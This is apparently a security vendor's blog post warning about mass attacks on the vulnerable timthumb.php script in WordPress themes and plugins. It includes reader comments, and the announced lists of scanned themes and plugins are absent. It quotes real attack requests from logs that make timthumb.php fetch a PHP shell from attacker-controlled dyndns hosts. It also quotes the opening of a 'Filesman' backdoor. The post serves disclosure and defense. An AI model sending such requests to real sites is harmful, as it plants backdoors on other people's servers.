Attacks Against Timthumb.php in the Wild – List of Themes and Plugins Being Scanned

We are seeing large scale attacks against the vulnerable timthumb.php script in the wild. Thousands of sites are getting compromised and if you have it in your WordPress site, you better get it fixed right now!

After a few days analyzing the compromised sites and many log files, here are the plugins we’ve seen getting scanned by the attackers (total of 25):

Here are the themes we’ve seen scanned (total of 45):

If you have any of these installed on your site, please verify them for the TimThumb script. If they contain the script ensure it is updated immediately.

Attacks in the wild

We are seeing many attacks in the wild, basically they scan all these plugins and themes, then attempt to compromise the site.

Here is a type of request they will make:

GET /wp-content/plugins/wordpress-gallery-plugin/timthumb.php?src=http://picasa.com12345.dyndns.org/1.php

Did you catch that? They created a fake domain on dyndns, called picasa.com123435.dyndns.org and used that to upload a PHP shell.

Another types of attacks will looks like that:

GET /wp-content/plugins/igit-posts-slider-widget/timthumb.php?src=http://a57fc3picasa.complex.dyndns-pics.com/pics/pics.php
GET /wp-content/plugins/igit-posts-slider-widget/timthumb.php?src=http://adcb293eb4a6efa757baca4c6efd6picasa.complex.dyndns-pics.com/pics/pics.php
GET /wp-content/plugins/igit-posts-slider-widget/timthumb.php?src=http://a9d4b9a85d79f02f2picasa.commandos7.dyndns.info/pics/pics.php

This time using a57fc3picasa.complex.dyndns-pics.com/pics/pics.php to upload the backdoor on to the site.

When you check for these backdoors, they are the standard “Filesman” backdoor:

<?php $auth_pass = "47a85"."6c68".”e623468d84123″.”e87881d1e3″;$color = “#df5”;$default_action = "File".’sMa’.’n’;$default_use_ajax = true;$default_charset = ‘Windows-‘.’1251’;…

As you can see, they are very easy to execute (a simple GET) and can really damage your site. Now, it’s time to take action!

If you are not sure if your site is compromised already, you can scan it using Sucuri SiteCheck. If you need help, sign up here and we can fix/secure your site for you.

15 comments
    1. The one I saw appended a block of obfuscated code to every jquery.js – including one that was outside wordpress.

  1. Hi, this is Kelvin, co-founder of DukaPress.  We wish to report that our plugin was updated a few weeks ago to fix the timthumb security hole. Here: http://dukapress.org/blog/2011/08/09/dukapress-2-3-3-timthumb-security-update/

  2. I was just scanned, here is the list I compiled from the log file.
     http://www.big-webmaster.com/themes-scanned-timthumb-vulerability/

  3. I use the WooTheme Listings and was hacked. Luckily you guys helped to clean it right up but I still don’t understand what all these hacks mean. What does this “malicious code” do for anyone? I’m starting to convince myself companies like Woo and Sucuri are making these hacks just so they can make more money. In all honesty I don’t really believe that, but it does seem convenient. Anyone care to shed more light on the subject for me?

  4. Yes, I also see lots of such queries in my logs of wordpress sites. Luckily, I don’t use themes with timthumb.

Comments are closed.

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